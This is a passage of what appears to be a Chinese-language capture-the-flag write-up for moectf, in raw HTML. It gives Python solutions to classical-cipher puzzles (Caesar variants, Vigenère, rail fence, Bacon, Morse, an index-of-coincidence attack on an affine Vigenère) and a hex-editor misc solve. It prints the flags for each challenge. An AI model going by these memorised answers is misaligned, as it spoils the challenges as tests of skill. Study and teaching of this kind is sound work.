punctuation">]</span></pre></td></tr><tr><td data-num="6"></td><td><pre>a5<span class="token operator">=</span>a<span class="token punctuation">[</span><span class="token number">31</span><span class="token punctuation">:</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="7"></td><td><pre>flag<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="9"></td><td><pre>    flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span>a1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="10"></td><td><pre>    flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span>a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="11"></td><td><pre>    flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span>a3<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="12"></td><td><pre>    <span class="token keyword">if</span> i <span class="token operator">&lt;</span><span class="token number">7</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="13"></td><td><pre>        flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span>a4<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="14"></td><td><pre>        flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span>a5<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="15"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> flag<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="16"></td><td><pre>    <span class="token keyword">print</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="17"></td><td><pre>moectf<span class="token punctuation">&#123;</span>c453r_w4nt_t0_g0_ou7_th3_w0r1d<span class="token punctuation">&#125;</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>Augustine's Way#2</strong></em></p>
<blockquote>
<p>凯撒变式，用 ASCII 码表做位移，不局限于字母了，所有字符都要位移。</p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre>cyber<span class="token operator">=</span><span class="token string">"eg][l^sdm(i)YfWqq\-u"</span></pre></td></tr><tr><td data-num="2"></td><td><pre>flag<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="3"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> cyber<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="4"></td><td><pre>    flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token operator">+</span><span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'m'</span><span class="token punctuation">)</span><span class="token operator">-</span><span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'e'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> flag<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="6"></td><td><pre>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token builtin">chr</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token comment">#moectf&#123;lu0q1an_yyd5&#125;</span></pre></td></tr></table></figure><blockquote the_key_of_vigenere_is_rxyyds="">
<p><em><strong>Ez Vigenere</strong></em></p>
<blockquote>
<p>搜一下维吉尼亚，前几个字符对照 moectf，可以知道密钥是 rxyyds，拿去解密网站解密就好了<br />
 moectf</p>
</blockquote>
</blockquote>
<blockquote>
<p><em><strong>モンスターを縫う！</strong></em></p>
<blockquote>
<p>flag1，一眼凯撒，1 位移：   <strong>moectf{cl@</strong><br />
flag2，维吉尼亚，密钥给了：  <strong>ssical</strong><br />
flag3，栅栏，密钥 2：  <strong>_cipher</strong><br />
flag4，ABAAA，培根密码：  <strong>I</strong><br />
flag4，凯撒，13 位移 <s>（我当时忽略那个 B 了，没想明白是啥意思，后来他们告诉我 B 拆开就是 13・・・・・・）</s> ：<strong>pr3t</strong><br />
flag5，摩斯密码： <strong>tyg00d!｝</strong><br />
<strong>moectf{cl@ssical_cipherIpr3tyg00d!}</strong></p>
</blockquote>
</blockquote>
<blockquote>
<p><em><strong>Ex Viginere?</strong></em></p>
<blockquote>
<p><s>重头戏终于来了</s><br />
这个解密的详细过程在 dbt 的博客里有，我们只需要把他进行 AES 解密和 base64 解密的那一段删掉，然后就可以跑出来明文了。之后根据哈希值逐位爆破，找到 flag。<br />
简单来讲就是根据重合指数爆破出密钥长度，计算 k1 和 k2，就可以还原明文。在足够长的英文文本中，每个字母出现的频率有一个确定的值，重合指数就是根据这一统计规律来计算的。<br />
<s>可以去看看 dbt 的博客，讲得可详细了～</s></p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="2"></td><td><pre>f <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">r'c.txt'</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="3"></td><td><pre>c <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="4"></td><td><pre>f<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token comment"># 我们已经知道，维吉尼亚密码可以被分解为若干组平移密码来破译，</span></pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token comment"># 而一个明文足够长的平移密码的重合指数接近 0.0687。</span></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token comment"># 换言之，如果我们选取某个 l 值，使得分组后的密文的重合指数接近 0.065，</span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token comment"># 则说明选取的 t 值与密钥的长度是一致的。</span></pre></td></tr><tr><td data-num="9"></td><td><pre>best_index <span class="token operator">=</span> <span class="token number">0.065</span></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token builtin">sum</span> <span class="token operator">=</span> <span class="token number">0</span></pre></td></tr><tr><td data-num="11"></td><td><pre>dic_index <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'a'</span><span class="token punctuation">:</span> <span class="token number">0.08167</span><span class="token punctuation">,</span><span class="token string">'b'</span><span class="token punctuation">:</span> <span class="token number">0.01492</span><span class="token punctuation">,</span><span class="token string">'c'</span><span class="token punctuation">:</span> <span class="token number">0.02782</span><span class="token punctuation">,</span><span class="token string">'d'</span><span class="token punctuation">:</span><span class="token number">0.04253</span><span class="token punctuation">,</span><span class="token string">'e'</span><span class="token punctuation">:</span> <span class="token number">0.12702</span><span class="token punctuation">,</span><span class="token string">'f'</span><span class="token punctuation">:</span><span class="token number">0.02228</span><span class="token punctuation">,</span><span class="token string">'g'</span><span class="token punctuation">:</span> <span class="token number">0.02015</span><span class="token punctuation">,</span><span class="token string">'h'</span><span class="token punctuation">:</span><span class="token number">0.06094</span><span class="token punctuation">,</span><span class="token string">'i'</span><span class="token punctuation">:</span><span class="token number">0.06966</span><span class="token punctuation">,</span><span class="token string">'j'</span><span class="token punctuation">:</span><span class="token number">0.00153</span><span class="token punctuation">,</span><span class="token string">'k'</span><span class="token punctuation">:</span><span class="token number">0.00772</span><span class="token punctuation">,</span><span class="token string">'l'</span><span class="token punctuation">:</span><span class="token number">0.04025</span><span class="token punctuation">,</span><span class="token string">'m'</span><span class="token punctuation">:</span><span class="token number">0.02406</span><span class="token punctuation">,</span><span class="token string">'n'</span><span class="token punctuation">:</span><span class="token number">0.06749</span><span class="token punctuation">,</span><span class="token string">'o'</span><span class="token punctuation">:</span><span class="token number">0.07507</span><span class="token punctuation">,</span><span class="token string">'p'</span><span class="token punctuation">:</span><span class="token number">0.01929</span><span class="token punctuation">,</span><span class="token string">'q'</span><span class="token punctuation">:</span><span class="token number">0.00095</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">:</span><span class="token number">0.05987</span><span class="token punctuation">,</span><span class="token string">'s'</span><span class="token punctuation">:</span><span class="token number">0.06327</span><span class="token punctuation">,</span><span class="token string">'t'</span><span class="token punctuation">:</span><span class="token number">0.09056</span><span class="token punctuation">,</span><span class="token string">'u'</span><span class="token punctuation">:</span><span class="token number">0.02758</span><span class="token punctuation">,</span><span class="token string">'v'</span><span class="token punctuation">:</span><span class="token number">0.00978</span><span class="token punctuation">,</span><span class="token string">'w'</span><span class="token punctuation">:</span><span class="token number">0.02360</span><span class="token punctuation">,</span><span class="token string">'x'</span><span class="token punctuation">:</span><span class="token number">0.00150</span><span class="token punctuation">,</span><span class="token string">'y'</span><span class="token punctuation">:</span><span class="token number">0.01974</span><span class="token punctuation">,</span><span class="token string">'z'</span><span class="token punctuation">:</span><span class="token number">0.00074</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token keyword">def</span> <span class="token function">IndCo</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="13"></td><td><pre>    <span class="token comment"># 计算字符串的重合指数（所有字母出现频率的平方和）</span></pre></td></tr><tr><td data-num="14"></td><td><pre>    <span class="token comment"># 输入 s </span></pre></td></tr><tr><td data-num="15"></td><td><pre>    <span class="token comment"># 输出 重合指数</span></pre></td></tr><tr><td data-num="16"></td><td><pre>    alpha <span class="token operator">=</span> <span class="token string">'abcdefghijklmnopqrstuvwxyz'</span></pre></td></tr><tr><td data-num="17"></td><td><pre>    freq <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="18"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> alpha<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="19"></td><td><pre>        freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span></pre></td></tr><tr><td data-num="20"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> s<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="21"></td><td><pre>        freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span>  freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token number">1</span></pre></td></tr><tr><td data-num="22"></td><td><pre>    index <span class="token operator">=</span> <span class="token number">0</span></pre></td></tr><tr><td data-num="23"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> alpha<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="24"></td><td><pre>        index <span class="token operator">=</span> index <span class="token operator">+</span> <span class="token punctuation">(</span>freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token operator">*</span><span class="token punctuation">(</span>freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">-</span> <span class="token number">1</span> <span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span> <span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="25"></td><td><pre>    <span class="token keyword">return</span> index</pre></td></tr><tr><td data-num="26"></td><td><pre><span class="token keyword">def</span> <span class="token function">IndCo_m</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="27"></td><td><pre>    <span class="token comment"># 计算明文 s 中的各字母频率和英文字母中的频率吻合程度</span></pre></td></tr><tr><td data-num="28"></td><td><pre>    <span class="token comment"># 输入：明文 s</span></pre></td></tr><tr><td data-num="29"></td><td><pre>    <span class="token comment"># 输出：吻合程度</span></pre></td></tr><tr><td data-num="30"></td><td><pre>    alpha <span class="token operator">=</span> <span class="token string">'abcdefghijklmnopqrstuvwxyz'</span></pre></td></tr><tr><td data-num="31"></td><td><pre>    freq <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="32"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> alpha<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="33"></td><td><pre>        freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">0</span></pre></td></tr><tr><td data-num="34"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> s<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="35"></td><td><pre>        freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+=</span> <span class="token number">1</span></pre></td></tr><tr><td data-num="36"></td><td><pre>    index <span class="token operator">=</span> <span class="token number">0</span></pre></td></tr><tr><td data-num="37"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> alpha<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="38"></td><td><pre>        index <span class="token operator">+=</span> freq<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">/</span> <span class="token builtin">len</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span> <span class="token operator">*</span> dic_index<span class="token punctuation">[</span>i<span class="token punctuation">]</span></pre></td></tr><tr><td data-num="39"></td><td><pre>    <span class="token keyword">return</span> index</pre></td></tr><tr><td data-num="40"></td><td><pre><span class="token keyword">def</span> <span class="token function">get_keylen</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="41"></td><td><pre>    <span class="token comment"># 求出最符合统计学的 m,n 的最小公倍数，方法通过爆破足够大的周期样本，观察成倍出现的周期</span></pre></td></tr><tr><td data-num="42"></td><td><pre>    <span class="token comment"># 计算方法是解出每一个子密文段的重合指数然后求平均值 在和最佳重合指数相减 误差小于 0.01</span></pre></td></tr><tr><td data-num="43"></td><td><pre>    <span class="token comment"># 输入：密文</span></pre></td></tr><tr><td data-num="44"></td><td><pre>    <span class="token comment"># 输出：公共周期列表</span></pre></td></tr><tr><td data-num="45"></td><td><pre>    keylen <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="46"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="47"></td><td><pre>        average_index <span class="token operator">=</span> <span class="token number">0</span></pre></td></tr><tr><td data-num="48"></td><td><pre>        <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="49"></td><td><pre>            s <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>c<span class="token punctuation">[</span>j<span class="token operator">+</span>i<span class="token operator">*</span>x<span class="token punctuation">]</span> <span class="token keyword">for</span> x <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token builtin">len</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token operator">//</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="50"></td><td><pre>            index <span class="token operator">=</span> IndCo<span class="token punctuation">(</span>s<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="51"></td><td><pre>            average_index<span class="token operator">+=</span>index</pre></td></tr><tr><td data-num="52"></td><td><pre>        average_index <span class="token operator">=</span> average_index<span class="token operator">/</span>i <span class="token operator">-</span> best_index</pre></td></tr><tr><td data-num="53"></td><td><pre>        <span class="token keyword">if</span> <span class="token builtin">abs</span><span class="token punctuation">(</span>average_index<span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token number">0.01</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="54"></td><td><pre>            keylen<span class="token punctuation">.</span>append<span class="token punctuation">(</span>i<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="55"></td><td><pre>    <span class="token keyword">return</span> keylen</pre></td></tr><tr><td data-num="56"></td><td><pre>keylen <span class="token operator">=</span> get_keylen<span class="token punctuation">(</span>c<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="57"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>keylen<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="58"></td><td><pre><span class="token comment">#____________________________得到 keylen_____________________________#</span></pre></td></tr><tr><td data-num="59"></td><td><pre><span class="token comment">#____________________________爆破 flag———————————————————————————————#</span></pre></td></tr><tr><td data-num="60"></td><td><pre><span class="token keyword">def</span> <span class="token function">decrypt</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span>i<span class="token punctuation">,</span>j<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="61"></td><td><pre>    alpha <span class="token operator">=</span> <span class="token string">'abcdefghijklmnopqrstuvwxyz'</span></pre></td></tr><tr><td data-num="62"></td><td><pre>    m <span class="token operator">=</span> <span class="token string">''</span></pre></td></tr><tr><td data-num="63"></td><td><pre>    <span class="token keyword">for</span> x <span class="token keyword">in</span> c<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="64"></td><td><pre>        m <span class="token operator">+=</span> alpha<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">(</span>alpha<span class="token punctuation">.</span>index<span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token operator">-</span>j<span class="token punctuation">)</span><span class="token operator">*</span>gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>i<span class="token punctuation">,</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">26</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="65"></td><td><pre>    <span class="token keyword">return</span> m </pre></td></tr><tr><td data-num="66"></td><td><pre><span class="token keyword">def</span> <span class="token function">get_key</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="67"></td><td><pre>    <span class="token comment"># 得到一个密文段的单个字符 key .i .j</span></pre></td></tr><tr><td data-num="68"></td><td><pre>    <span class="token comment"># 暴力枚举，找到最符合的</span></pre></td></tr><tr><td data-num="69"></td><td><pre>    <span class="token comment"># 输入：密文段</span></pre></td></tr><tr><td data-num="70"></td><td><pre>    <span class="token comment"># 输出：i,j</span></pre></td></tr><tr><td data-num="71"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="72"></td><td><pre>        <span class="token keyword">if</span> gmpy2<span class="token punctuation">.</span>gcd<span class="token punctuation">(</span>i<span class="token punctuation">,</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token operator">!=</span> <span class="token number">1</span> <span class="token punctuation">:</span></pre></td></tr><tr><td data-num="73"></td><td><pre>            <span class="token keyword">continue</span></pre></td></tr><tr><td data-num="74"></td><td><pre>        <span class="token keyword">for</span> j <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="75"></td><td><pre>            m <span class="token operator">=</span> decrypt<span class="token punctuation">(</span>c<span class="token punctuation">,</span>i<span class="token punctuation">,</span>j<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="76"></td><td><pre>            index <span class="token operator">=</span> IndCo_m<span class="token punctuation">(</span>m<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="77"></td><td><pre>            <span class="token keyword">if</span> <span class="token builtin">abs</span><span class="token punctuation">(</span>index<span class="token operator">-</span><span class="token number">0.065</span><span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token number">0.01</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="78"></td><td><pre>                <span class="token keyword">return</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span>j<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="79"></td><td><pre><span class="token keyword">def</span> <span class="token function">get_all_key</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span>keylen<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="80"></td><td><pre>    <span class="token comment"># 得到一个周期内所有密文段的 key</span></pre></td></tr><tr><td data-num="81"></td><td><pre>    <span class="token comment"># 输入：原密文，周期</span></pre></td></tr><tr><td data-num="82"></td><td><pre>    <span class="token comment"># 输出：无</span></pre></td></tr><tr><td data-num="83"></td><td><pre>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span>keylen<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="84"></td><td><pre>        temps <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">[</span>s<span class="token punctuation">[</span>i<span class="token operator">+</span>x<span class="token operator">*</span>keylen<span class="token punctuation">]</span> <span class="token keyword">for</span> x <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token builtin">len</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token operator">//</span>keylen<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="85"></td><td><pre>        <span class="token keyword">print</span><span class="token punctuation">(</span>get_key<span class="token punctuation">(</span>temps<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="86"></td><td><pre>get_all_key<span class="token punctuation">(</span>c<span class="token punctuation">,</span>keylen<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="87"></td><td><pre><span class="token comment"># 于是就可以分析得到 ka = []  kb= []</span></pre></td></tr><tr><td data-num="88"></td><td><pre><span class="token comment"># 例如：(23, 9)(25, 21)(21, 9)(3, 10)(19, 16)(23, 3)(25, 22)(21, 13)(3, 14)(19, 21)(23, 15)(25, 9)(21, 21)(3, 9)(19, 10)(23, 16)(25, 3)(21, 22)(3, 13)(19, 14)(23, 21)(25, 15)(21, 9)(3, 21)(19, 9)(23, 10)(25, 16)(21, 3)(3, 22)(19, 13)(23, 14)(25, 21)(21, 15)(3, 9)(19, 21)(23, 9)(25, 10)(21, 16)(3, 3)(19, 22)(23, 13)(25, 14)(21, 21)(3, 15)(19, 9)(23, 21)(25, 9)(21, 10)(3, 16)(19, 3)(23, 22)(25, 13)(21, 14)(3, 21)(19, 15)</span></pre></td></tr><tr><td data-num="89"></td><td><pre><span class="token comment"># 那么得到就是 k1=[23,25,21,3,19],k2=[9,21,9,10,16,3,22,13,14,21,15]</span></pre></td></tr></table></figure><figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">from</span> hashlib <span class="token keyword">import</span><span class="token operator">*</span></pre></td></tr><tr><td data-num="3"></td><td><pre>k1<span class="token operator">=</span><span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">25</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">,</span><span class="token number">19</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">25</span><span class="token punctuation">,</span><span class="token number">9</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="4"></td><td><pre>k2<span class="token operator">=</span><span class="token punctuation">[</span><span class="token number">25</span><span class="token punctuation">,</span><span class="token number">19</span><span class="token punctuation">,</span><span class="token number">18</span><span class="token punctuation">,</span><span class="token number">19</span><span class="token punctuation">,</span><span class="token number">25</span><span class="token punctuation">,</span><span class="token number">20</span><span class="token punctuation">,</span><span class="token number">8</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="5"></td><td><pre></pre></td></tr><tr><td data-num="6"></td><td><pre>f <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">r'c.txt'</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre>c <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre>f<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="9"></td><td><pre>plaintext <span class="token operator">=</span> <span class="token string">''</span></pre></td></tr><tr><td data-num="10"></td><td><pre>l1 <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>k1<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="11"></td><td><pre>l2 <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>k2<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="12"></td><td><pre>alpha<span class="token operator">=</span><span class="token string">'abcdefghijklmnopqrstuvwxyz'</span></pre></td></tr><tr><td data-num="13"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="14"></td><td><pre>    plaintext<span class="token operator">+=</span>alpha<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token punctuation">(</span>alpha<span class="token punctuation">.</span>index<span class="token punctuation">(</span>c<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">-</span>k2<span class="token punctuation">[</span>i<span class="token operator">%</span>l2<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">*</span>gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>k1<span class="token punctuation">[</span>i<span class="token operator">%</span>l1<span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token number">26</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">%</span><span class="token number">26</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="15"></td><td><pre></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="17"></td><td><pre>    a<span class="token operator">=</span>plaintext<span class="token punctuation">[</span>i<span class="token punctuation">:</span>i<span class="token operator">+</span><span class="token number">16</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="18"></td><td><pre>    b<span class="token operator">=</span>a<span class="token operator">+</span><span class="token string">'How_Interesting_the_Cryptography_Is'</span></pre></td></tr><tr><td data-num="19"></td><td><pre>    <span class="token keyword">if</span><span class="token punctuation">(</span>md5<span class="token punctuation">(</span>b<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">==</span><span class="token string">'196cf7098c7ea6e3e4d03691fb9d4f58'</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="20"></td><td><pre>        <span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="21"></td><td><pre><span class="token comment">#moectf&#123;pieceofchocolate&#125;</span></pre></td></tr></table></figure><hr />
<h1 id="misc"><a class="anchor" href="#misc">#</a> Misc</h1>
<h2 id="find_me"><a class="anchor" href="#find_me">#</a> <strong>find_me</strong></h2>
<p>把文件拖进<em><strong> 010editor</strong></em> 进行查看，Flag 跃然于右边的文本 (之前都用的 winhex, 没想到<em><strong> 010edito</strong></em>r 又经济又实惠，hs yyds)</p>
<p><code>moectf&#123;hs_g1v3_u_fl@g&#125;</code></p>
<h2 id="macross"><a class="anchor" href="#macross">#</a> <strong>Macross</strong></h2>
